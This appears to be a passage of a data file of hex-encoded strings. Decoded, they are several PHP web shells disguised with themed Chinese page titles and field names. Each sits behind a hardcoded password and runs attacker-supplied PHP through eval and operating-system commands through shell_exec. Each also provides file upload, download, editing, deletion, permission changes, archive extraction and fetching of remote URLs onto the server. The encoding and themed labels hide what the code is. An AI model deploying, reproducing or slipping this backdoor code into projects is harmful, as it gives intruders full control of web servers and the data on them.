6f7374223e3c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2263686d6f64223e3c696e70757420747970653d2268696464656e22206e616d653d2266222076616c75653d22272e24662e27223e3c73656c656374206e616d653d226d223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c2f73656c6563743e203c627574746f6e3ee58aa0e79b963c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b7d0d0a3f3e0d0a3c2f626f64793e3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f939c20e8afa1e7a798e4b98be4b8bb20c2b720e5bbb7e6a0b9e5b882e694bfe58e850d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a4073657373696f6e5f737461727428293b406572726f725f7265706f7274696e672830293b40696e695f7365742827646973706c61795f6572726f7273272c30293b0d0a0d0a2f2a202d2d2d2d20312e20e781b5e680a7e5b18fe99a9c202d2d2d2d202a2f0d0a646566696e65282754414e475f5345414c272c202761736427293b0d0a0d0a696628697373657428245f4745545b27657869745f74616e67275d29297b4073657373696f6e5f64657374726f7928293b68656164657228274c6f636174696f6e3a203f27293b657869743b7d0d0a696628697373657428245f504f53545b277370697269745f6b6579275d29297b0d0a20202020696628245f504f53545b277370697269745f6b6579275d3d3d3d54414e475f5345414c29245f53455353494f4e5b27737069726974275d3d313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b657869743b0d0a7d0d0a69662821697373657428245f53455353494f4e5b27737069726974275d29297b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee781b5e680a7e5b18fe99a9c3c2f7469746c653e3c7374796c653e626f64797b6261636b67726f756e643a233161316131613b636f6c6f723a236339613935393b666f6e742d66616d696c793a2254696d6573204e657720526f6d616e222c73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d2e676174657b626f726465723a32707820736f6c696420233361336133613b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a726762612832362c32362c32362c2e39293b7d68317b6c65747465722d73706163696e673a313570783b6d617267696e2d626f74746f6d3a333070783b7d696e7075747b6261636b67726f756e643a7472616e73706172656e743b636f6c6f723a236339613935393b626f726465723a31707820736f6c696420233361336133613b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a233361336133613b636f6c6f723a236666663b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d3c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d2267617465223e3c68313ef09f939c20e781b520e680a720e5b18f20e99a9c3c2f68313e3c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d227370697269745f6b65792220747970653d2270617373776f72642220706c616365686f6c6465723d22e781b5e680a7e4bd8ee8afad22206175746f666f6375733e3c62723e3c627574746f6e20747970653d227375626d6974223ee8a7a320e5b0813c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e9949ae5ae9a202d2d2d2d202a2f0d0a24505f613d697373657428245f4745545b27646972275d293f7265616c7061746828245f4745545b27646972275d293a7265616c7061746828272e27293b6966282124505f617c7c2169735f6469722824505f61292924505f613d7265616c7061746828272e27293b24505f613d727472696d2824505f612c4449524543544f52595f534550415241544f52292e4449524543544f52595f534550415241544f523b244f5f6d73673d27273b0d0a0d0a2f2a202d2d2d2d20332e20e4bbaae5bc8fe4b88ee59292e69caf2028e6a0b8e5bf83e980bbe8be91e6b7b7e6b78629202d2d2d2d202a2f0d0a66756e6374696f6e205f72697475616c2824612c24702c2463297b737769746368282461297b636173652775706c6f6164273a69662821656d70747928245f46494c45535b2766275d2929406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766275d5b27746d705f6e616d65275d2c24702e626173656e616d6528245f46494c45535b2766275d5b276e616d65275d29293b627265616b3b63617365276d6b646972273a406d6b6469722824702e2463293b627265616b3b63617365276d6b66696c65273a4066696c655f7075745f636f6e74656e74732824702e24632c2727293b627265616b3b636173652772656e616d65273a4072656e616d652824635b305d2c24635b315d293b627265616b3b636173652763686d6f64273a4063686d6f642824635b305d2c6f63746465632824635b315d29293b627265616b3b636173652773617665273a4066696c655f7075745f636f6e74656e74732824635b305d2c24635b315d293b627265616b3b636173652775726c646c273a24643d4066696c655f6765745f636f6e74656e7473282463293b6966282464294066696c655f7075745f636f6e74656e74732824702e626173656e616d65282463292c2464293b627265616b3b6361736527756e7a6970273a696628636c6173735f65786973747328275a6970417263686976652729297b247a3d6e6577205a6970417263686976653b696628247a2d3e6f70656e282463293d3d3d54525545297b247a2d3e65787472616374546f282470293b247a2d3e636c6f736528293b7d7d627265616b3b7d7d0d0a696628697373657428245f504f53545b27616374275d29295f72697475616c28245f504f53545b27616374275d2c24505f612c5b245f504f53545b277031275d3f3f27272c245f504f53545b277032275d3f3f27275d293b0d0a696628697373657428245f4745545b2764656c275d29297b69662869735f66696c6528245f4745545b2764656c275d292940756e6c696e6b28245f4745545b2764656c275d293b656c73652040726d64697228245f4745545b2764656c275d293b7d0d0a0d0a2f2a20e781b5e680a7e5aea3e6b38420284576616c29202a2f0d0a24455f7265733d27273b0d0a696628697373657428245f504f53545b277370697269745f72656c65617365275d29297b0d0a202020206f625f737461727428293b7472797b6576616c28245f504f53545b277370697269745f72656c65617365275d293b7d6361746368285468726f7761626c65202465297b6563686f2022e5a4b1e68ea73a20222e24652d3e6765744d65737361676528293b7d24455f7265733d6f625f6765745f636c65616e28293b0d0a7d0d0a2f2a20e58da0e58d9c2028436f6d6d616e6429202a2f0d0a24435f7265733d27273b0d0a696628697373657428245f504f53545b27646976696e6174696f6e275d29297b0d0a2020202024435f7265733d7368656c6c5f657865632822636420222e6573636170657368656c6c6172672824505f61292e2220262620222e245f504f53545b27646976696e6174696f6e275d2e2220323e263122293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e58e86e58fb2e68a95e5bdb12028e69687e4bbb6e58897e8a1a829202d2d2d2d202a2f0d0a24465f6c6973743d5b5d3b0d0a6966282464683d406f70656e6469722824505f6129297b0d0a202020207768696c65282824663d72656164646972282464682929213d3d66616c7365297b69662824663d3d272e2729636f6e74696e75653b2466703d24505f612e24663b24465f6c6973745b5d3d5b276e273d3e24662c2770273d3e2466702c2764273d3e69735f64697228246670292c2773273d3e69735f64697228246670293f272d273a726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c276d273d3e73756273747228737072696e74662827256f272c66696c657065726d732824667029292c2d34295d3b7d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f72742824465f6c6973742c666e2824612c2462293d3e24615b2764275d3d3d24625b2764275d3f7374726e617463617365636d702824615b276e275d2c24625b276e275d293a2824615b2764275d3f2d313a3129293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653ee5bbb7e6a0b9e5b882e694bfe58e853c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a202254696d6573204e657720526f6d616e222c202253696d53756e222c2073657269663b206261636b67726f756e643a20233161316131613b20636f6c6f723a20236339613935393b206d617267696e3a20313070783b20666f6e742d73697a653a20313470783b207d0d0a20202020202020202e6e6176207b206261636b67726f756e643a20233261326132613b20626f726465723a2031707820736f6c696420233361336133613b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6e61762061207b20636f6c6f723a20236339613935393b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e6e617620612e6c207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20233862303030303b207d0d0a20202020202020202e6c61796f7574207b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6c656674207b20666c65783a20313b207d0d0a20202020202020202e7269676874207b2077696474683a203335253b207d0d0a20202020202020202e63617264207b206261636b67726f756e643a20233261326132613b20626f726465723a2031707820736f6c696420233361336133613b2070616464696e673a20313570783b206d617267696e2d626f74746f6d3a20313570783b207d0d0a20202020202020202e63617264206833207b206d617267696e2d746f703a20303b20636f6c6f723a20233862303030303b20626f726465722d626f74746f6d3a2031707820736f6c696420233361336133613b2070616464696e672d626f74746f6d3a203870783b207d0d0a20202020202020207461626c65207b2077696474683a20313030253b20626f726465722d636f6c6c617073653a20636f6c6c617073653b207d0d0a202020202020202074682c207464207b2070616464696e673a203870783b20626f726465723a2031707820736f6c696420233361336133613b207d0d0a20202020202020207468207b206261636b67726f756e643a20233361336133613b207d0d0a202020202020202074723a686f766572207b206261636b67726f756e643a20233361336133613b207d0d0a2020202020202020696e7075742c2074657874617265612c2073656c656374207b206261636b67726f756e643a20233161316131613b20636f6c6f723a20236339613935393b20626f726465723a2031707820736f6c696420233361336133613b2070616464696e673a203670783b20666f6e742d66616d696c793a20696e68657269743b207d0d0a2020202020202020627574746f6e207b206261636b67726f756e643a20233361336133613b20636f6c6f723a20236666663b20626f726465723a206e6f6e653b2070616464696e673a2036707820313570783b20637572736f723a20706f696e7465723b20666f6e742d7765696768743a20626f6c643b207d0d0a2020202020202020707265207b206261636b67726f756e643a20233030303b20636f6c6f723a20233030666630303b2070616464696e673a20313070783b206f766572666c6f773a206175746f3b2077686974652d73706163653a207072652d777261703b207d0d0a202020203c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a0d0a3c64697620636c6173733d226e6176223e0d0a202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f6465286469726e616d652824505f6129293b203f3e223e5b20e8bf94e59b9ee58e86e58fb2205d3c2f613e0d0a202020203c6120687265663d22236576616c223e5b20e781b5e680a7e5aea3e6b384205d3c2f613e0d0a202020203c6120687265663d2223746f6f6c73223e5b20e99d9ee587a1e789a9e59381205d3c2f613e0d0a202020203c6120687265663d223f657869745f74616e673d312220636c6173733d226c223e5b20e7a6bbe5bc80e5bbb7e6a0b9205d3c2f613e0d0a3c2f6469763e0d0a0d0a3c64697620636c6173733d226c61796f7574223e0d0a202020203c64697620636c6173733d226c656674223e0d0a20202020202020203c212d2d204576616c20e7bdaee9a1b6202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d226576616c223e0d0a2020202020202020202020203c68333ef09f939c20e781b5e680a7e5aea3e6b38420284576616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c7465787461726561206e616d653d227370697269745f72656c6561736522207374796c653d2277696474683a313030253b6865696768743a31323070783b2220706c616365686f6c6465723d22706870696e666f28293b223e3c3f706870206563686f20245f504f53545b277370697269745f72656c65617365275d203f3f2027273b203f3e3c2f74657874617265613e3c62723e3c62723e0d0a202020202020202020202020202020203c627574746f6e20747970653d227375626d6974223ee9878a20e694be3c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f706870206966202824455f72657320213d3d202727293a203f3e0d0a202020202020202020202020202020203c68343ee5a4b1e68ea7e79a84e59193e8afadefbc9a3c2f68343e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824455f726573293b203f3e3c2f7072653e0d0a2020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e69687e4bbb6e58897e8a1a8202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f939620e58e86e58fb2e68a95e5bdb120283c3f706870206563686f2024505f613b203f3e293c2f68333e0d0a2020202020202020202020203c7461626c653e0d0a202020202020202020202020202020203c74723e3c74683ee5908de7a7b03c2f74683e3c74683ee5a4a7e5b08f3c2f74683e3c74683ee69d83e999903c2f74683e3c74683ee6938de4bd9c3c2f74683e3c2f74723e0d0a202020202020202020202020202020203c3f70687020666f7265616368202824465f6c697374206173202466293a203f3e0d0a202020202020202020202020202020203c74723e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f706870206966202824665b2764275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f6469723d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22207374796c653d22636f6c6f723a236339613935393b223e3c3f706870206563686f2024665b276e275d3b203f3e2f3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656c73653a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f766965773d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223e3c3f706870206563686f2024665b276e275d3b203f3e3c2f613e0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a20202020202020202020202020202020202020203c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b2773275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e3c3f706870206563686f2024665b276d275d3b203f3e3c2f74643e0d0a20202020202020202020202020202020202020203c74643e0d0a2020202020202020202020202020202020202020202020203c3f70687020696620282124665b2764275d293a203f3e0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f656469743d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee5b081e58db03c2f613e207c0d0a202020202020202020202020202020202020202020202020202020203c6120687265663d223f646f776e6c6f61643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee7aa83e58f963c2f613e207c0d0a2020202020202020202020202020202020202020202020203c3f70687020656e6469663b203f3e0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f72656e616d653d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee69bb4e5908d3c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f63686d6f643d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e223ee69d83e69f843c2f613e207c0d0a2020202020202020202020202020202020202020202020203c6120687265663d223f64656c3d3c3f706870206563686f2075726c656e636f64652824665b2770275d293b203f3e22206f6e636c69636b3d2272657475726e20636f6e6669726d2827e7a1aee5ae9ae78caee7a5adefbc9f2729223ee78caee7a5ad3c2f613e0d0a20202020202020202020202020202020202020203c2f74643e0d0a202020202020202020202020202020203c2f74723e0d0a202020202020202020202020202020203c3f70687020656e64666f72656163683b203f3e0d0a2020202020202020202020203c2f7461626c653e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a0d0a202020203c64697620636c6173733d227269676874223e0d0a20202020202020203c212d2d20e5b7a5e585b7e7aeb1202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264222069643d22746f6f6c73223e0d0a2020202020202020202020203c68333ef09fa7aa20e99d9ee587a1e789a9e593812028546f6f6c73293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d64617461223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275706c6f6164223e0d0a20202020202020202020202020202020e694b6e5aeb9efbc9a3c696e70757420747970653d2266696c6522206e616d653d2266223e203c627574746f6e3ee585a5e5ba933c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2275726c646c223e0d0a2020202020202020202020202020202055524cefbc9a3c696e70757420747970653d227465787422206e616d653d22703122207374796c653d2277696474683a3630253b223e203c627574746f6e3ee7aa83e58f963c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d22756e7a6970223e0d0a20202020202020202020202020202020e8a7a3e5b081efbc9a3c696e70757420747970653d227465787422206e616d653d22703122207374796c653d2277696474683a3630253b223e203c627574746f6e3ee5b195e5bc803c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e3c68723e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b646972223e20e5bc80e8be9fefbc9a3c696e70757420747970653d227465787422206e616d653d227031223e203c627574746f6e3ee5bbbae980a03c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d226d6b66696c65223e20e8aeb0e5bd95efbc9a3c696e70757420747970653d227465787422206e616d653d227031223e203c627574746f6e3ee4b9a6e586993c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a20202020202020203c2f6469763e0d0a0d0a20202020202020203c212d2d20e58da0e58d9ce58fb0202d2d3e0d0a20202020202020203c64697620636c6173733d2263617264223e0d0a2020202020202020202020203c68333ef09f94ae20e58da0e58d9ce58fb020285465726d696e616c293c2f68333e0d0a2020202020202020202020203c666f726d206d6574686f643d22706f7374223e0d0a202020202020202020202020202020203c696e70757420747970653d227465787422206e616d653d22646976696e6174696f6e22207374796c653d2277696474683a3830253b2220706c616365686f6c6465723d226c73202d6c61223e203c627574746f6e3ee7aaa5e8a7863c2f627574746f6e3e0d0a2020202020202020202020203c2f666f726d3e0d0a2020202020202020202020203c3f706870206966202824435f726573293a203f3e3c7072653e3c3f706870206563686f2068746d6c7370656369616c63686172732824435f726573293b203f3e3c2f7072653e3c3f70687020656e6469663b203f3e0d0a20202020202020203c2f6469763e0d0a202020203c2f6469763e0d0a3c2f6469763e0d0a0d0a3c3f7068700d0a2f2f20e4b88be8bdbd0d0a69662028697373657428245f4745545b27646f776e6c6f6164275d2929207b0d0a202020202466203d20245f4745545b27646f776e6c6f6164275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206865616465722827436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d22272e626173656e616d65282466292e272227293b0d0a20202020202020207265616466696c65282466293b0d0a2020202020202020657869743b0d0a202020207d0d0a7d0d0a2f2f20e69fa5e79c8b0d0a69662028697373657428245f4745545b2776696577275d2929207b0d0a202020202466203d20245f4745545b2776696577275d3b0d0a202020206966202869735f66696c652824662929207b0d0a20202020202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee99885e8afbbefbc9a272e626173656e616d65282466292e273c2f68333e3c7072653e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f7072653e3c2f6469763e273b0d0a202020207d0d0a7d0d0a2f2f20e7bc96e8be910d0a69662028697373657428245f4745545b2765646974275d2929207b0d0a202020202466203d20245f4745545b2765646974275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee5b081e58db0efbc9a272e626173656e616d65282466292e273c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2273617665223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c7465787461726561206e616d653d22703222207374796c653d2277696474683a313030253b6865696768743a33303070783b223e272e68746d6c7370656369616c63686172732866696c655f6765745f636f6e74656e747328246629292e273c2f74657874617265613e3c62723e3c62723e273b0d0a202020206563686f20273c627574746f6e20747970653d227375626d6974223ee59bbae58c963c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e9878de591bde5908d0d0a69662028697373657428245f4745545b2772656e616d65275d2929207b0d0a20202020246f203d20245f4745545b2772656e616d65275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69bb4e5908d3c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2272656e616d65223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e246f2e27223e273b0d0a202020206563686f20273c696e70757420747970653d227465787422206e616d653d227032222076616c75653d22272e626173656e616d6528246f292e27223e203c627574746f6e3ee7a1aee8aea43c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a2f2f20e69d83e999900d0a69662028697373657428245f4745545b2763686d6f64275d2929207b0d0a202020202466203d20245f4745545b2763686d6f64275d3b0d0a202020206563686f20273c64697620636c6173733d2263617264223e3c68333ee69d83e69f843c2f68333e3c666f726d206d6574686f643d22706f7374223e273b0d0a202020206563686f20273c696e70757420747970653d2268696464656e22206e616d653d22616374222076616c75653d2263686d6f64223e3c696e70757420747970653d2268696464656e22206e616d653d227031222076616c75653d22272e24662e27223e273b0d0a202020206563686f20273c73656c656374206e616d653d227032223e3c6f7074696f6e2076616c75653d2230363434223e303634343c2f6f7074696f6e3e3c6f7074696f6e2076616c75653d2230373535223e303735353c2f6f7074696f6e3e3c2f73656c6563743e203c627574746f6e3ee8b58be4ba883c2f627574746f6e3e3c2f666f726d3e3c2f6469763e273b0d0a7d0d0a3f3e0d0a0d0a3c2f626f64793e0d0a3c2f68746d6c3e","3c3f7068700d0a2f2a203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d0d0a202020f09f8f8eefb88f20e59b9be9a9b1e58584e5bc9f20c2b720e8b59be98193e68ea7e588b6e58fb00d0a2020203d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d202a2f0d0a4073657373696f6e5f737461727428293b406572726f725f7265706f7274696e672830293b40696e695f7365742827646973706c61795f6572726f7273272c30293b0d0a0d0a2f2a202d2d2d2d20312e20e8b59be98193e585a5e58fa3e9aa8ce8af81202d2d2d2d202a2f0d0a646566696e652827545241434b5f4b4559272c202761736427293b0d0a0d0a696628697373657428245f4745545b2766696e697368275d29297b4073657373696f6e5f64657374726f7928293b68656164657228274c6f636174696f6e3a203f27293b657869743b7d0d0a696628697373657428245f504f53545b2773746172745f6c696e65275d29297b0d0a20202020696628245f504f53545b2773746172745f6c696e65275d3d3d3d545241434b5f4b455929245f53455353494f4e5b277261636572275d3d313b0d0a2020202068656164657228274c6f636174696f6e3a203f27293b657869743b0d0a7d0d0a69662821697373657428245f53455353494f4e5b277261636572275d29297b0d0a202020206563686f20273c21444f43545950452068746d6c3e3c68746d6c3e3c686561643e3c6d65746120636861727365743d225554462d38223e3c7469746c653ee8b59be98193e585a5e58fa33c2f7469746c653e3c7374796c653e626f64797b6261636b67726f756e643a233161316131613b636f6c6f723a236666333333333b666f6e742d66616d696c793a22417269616c20426c61636b222c73616e732d73657269663b646973706c61793a666c65783b6a7573746966792d636f6e74656e743a63656e7465723b616c69676e2d6974656d733a63656e7465723b6865696768743a31303076683b6d617267696e3a303b7d2e676174657b626f726465723a34707820736f6c696420236666333333333b70616464696e673a353070783b746578742d616c69676e3a63656e7465723b6261636b67726f756e643a236666663b7d68317b6c65747465722d73706163696e673a3570783b6d617267696e2d626f74746f6d3a333070783b636f6c6f723a236666333333333b7d696e7075747b6261636b67726f756e643a7472616e73706172656e743b636f6c6f723a236666333333333b626f726465723a32707820736f6c696420236666333333333b70616464696e673a313270783b77696474683a32383070783b746578742d616c69676e3a63656e7465723b7d627574746f6e7b6d617267696e2d746f703a323070783b70616464696e673a3132707820343070783b6261636b67726f756e643a236666333333333b636f6c6f723a236666663b626f726465723a6e6f6e653b666f6e742d7765696768743a626f6c643b637572736f723a706f696e7465723b7d3c2f7374796c653e3c2f686561643e3c626f64793e3c64697620636c6173733d2267617465223e3c68313ef09f8f8eefb88f20e8b59b20e9819320e585a520e58fa33c2f68313e3c666f726d206d6574686f643d22706f7374223e3c696e707574206e616d653d2273746172745f6c696e652220747970653d2270617373776f72642220706c616365686f6c6465723d22535441525422206175746f666f6375733e3c62723e3c627574746f6e20747970653d227375626d6974223e524541445920474f213c2f627574746f6e3e3c2f666f726d3e3c2f6469763e3c2f626f64793e3c2f68746d6c3e273b0d0a20202020657869743b0d0a7d0d0a0d0a2f2a202d2d2d2d20322e20e8b7afe5be84e9949ae5ae9a202d2d2d2d202a2f0d0a24505f413d697373657428245f4745545b27646972275d293f7265616c7061746828245f4745545b27646972275d293a7265616c7061746828272e27293b6966282124505f417c7c2169735f6469722824505f41292924505f413d7265616c7061746828272e27293b24505f413d727472696d2824505f412c4449524543544f52595f534550415241544f52292e4449524543544f52595f534550415241544f523b244f5f4d3d27273b0d0a0d0a2f2a202d2d2d2d20332e20e8b59be8bda6e694b9e8a385e4b88ee8b083e8af952028e6a0b8e5bf83e980bbe8be91e6b7b7e6b78629202d2d2d2d202a2f0d0a66756e6374696f6e205f74756e652824612c24702c2463297b737769746368282461297b636173652775706c6f6164273a69662821656d70747928245f46494c45535b2766275d2929406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2766275d5b27746d705f6e616d65275d2c24702e626173656e616d6528245f46494c45535b2766275d5b276e616d65275d29293b627265616b3b63617365276d6b646972273a406d6b6469722824702e2463293b627265616b3b63617365276d6b66696c65273a4066696c655f7075745f636f6e74656e74732824702e24632c2727293b627265616b3b636173652772656e616d65273a4072656e616d652824635b305d2c24635b315d293b627265616b3b636173652763686d6f64273a4063686d6f642824635b305d2c6f63746465632824635b315d29293b627265616b3b636173652773617665273a4066696c655f7075745f636f6e74656e74732824635b305d2c24635b315d293b627265616b3b636173652775726c646c273a24643d4066696c655f6765745f636f6e74656e7473282463293b6966282464294066696c655f7075745f636f6e74656e74732824702e626173656e616d65282463292c2464293b627265616b3b6361736527756e7a6970273a696628636c6173735f65786973747328275a6970417263686976652729297b247a3d6e6577205a6970417263686976653b696628247a2d3e6f70656e282463293d3d3d54525545297b247a2d3e65787472616374546f282470293b247a2d3e636c6f736528293b7d7d627265616b3b7d7d0d0a696628697373657428245f504f53545b27616374275d29295f74756e6528245f504f53545b27616374275d2c24505f412c5b245f504f53545b277031275d3f3f27272c245f504f53545b277032275d3f3f27275d293b0d0a696628697373657428245f4745545b2764656c275d29297b69662869735f66696c6528245f4745545b2764656c275d292940756e6c696e6b28245f4745545b2764656c275d293b656c73652040726d64697228245f4745545b2764656c275d293b7d0d0a0d0a2f2a20e7bb9de68a80e58f91e58aa820284576616c29202a2f0d0a24455f523d27273b0d0a696628697373657428245f504f53545b277370656369616c5f6d6f7665275d29297b0d0a202020206f625f737461727428293b7472797b6576616c28245f504f53545b277370656369616c5f6d6f7665275d293b7d6361746368285468726f7761626c65202465297b6563686f2022e78886e586b23a20222e24652d3e6765744d65737361676528293b7d24455f523d6f625f6765745f636c65616e28293b0d0a7d0d0a2f2a20e5bcafe98193e8be85e58aa92028436f6d6d616e6429202a2f0d0a24435f523d27273b0d0a696628697373657428245f504f53545b276472696674275d29297b0d0a2020202024435f523d7368656c6c5f657865632822636420222e6573636170657368656c6c6172672824505f41292e2220262620222e245f504f53545b276472696674275d2e2220323e263122293b0d0a7d0d0a0d0a2f2a202d2d2d2d20342e20e99bb6e4bbb6e4b88ee6a1a3e6a1882028e69687e4bbb6e58897e8a1a829202d2d2d2d202a2f0d0a24465f4c3d5b5d3b0d0a6966282464683d406f70656e6469722824505f4129297b0d0a202020207768696c65282824663d72656164646972282464682929213d3d66616c7365297b69662824663d3d272e2729636f6e74696e75653b2466703d24505f412e24663b24465f4c5b5d3d5b276e273d3e24662c2770273d3e2466702c2764273d3e69735f64697228246670292c2773273d3e69735f64697228246670293f272d273a726f756e642866696c6573697a6528246670292f313032342c32292e27204b42272c276d273d3e73756273747228737072696e74662827256f272c66696c657065726d732824667029292c2d34295d3b7d0d0a20202020636c6f736564697228246468293b0d0a7d0d0a75736f72742824465f4c2c666e2824612c2462293d3e24615b2764275d3d3d24625b2764275d3f7374726e617463617365636d702824615b276e275d2c24625b276e275d293a2824615b2764275d3f2d313a3129293b0d0a3f3e0d0a3c21444f43545950452068746d6c3e0d0a3c68746d6c206c616e673d227a68223e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d225554462d38223e0d0a202020203c7469746c653ee8b59be98193e68ea7e588b6e58fb03c2f7469746c653e0d0a202020203c7374796c653e0d0a2020202020202020626f6479207b20666f6e742d66616d696c793a2022417269616c222c2073616e732d73657269663b206261636b67726f756e643a20233161316131613b20636f6c6f723a20233333333b206d617267696e3a20313070783b20666f6e742d73697a653a20313470783b207d0d0a20202020202020202e6e6176207b206261636b67726f756e643a20236666663b20626f726465723a2033707820736f6c696420236666333333333b2070616464696e673a20313070783b206d617267696e2d626f74746f6d3a20313070783b20646973706c61793a20666c65783b206761703a20313570783b207d0d0a20202020202020202e6e61762061207b20636f6c6f723a20236666333333333b20746578742d6465636f726174696f6e3a206e6f6e653b20666f6e742d7765696768743a20626f6c643b207d0d0a20202020202020202e6e617620612e6c207b206d617267696e2d6c6566743a206175746f3b20636f6c6f723a20233333333b207d0d0a20202020202020202e6c61796f7574207b20646973706c61793a20666c65783b206761703a20313570783b207d0d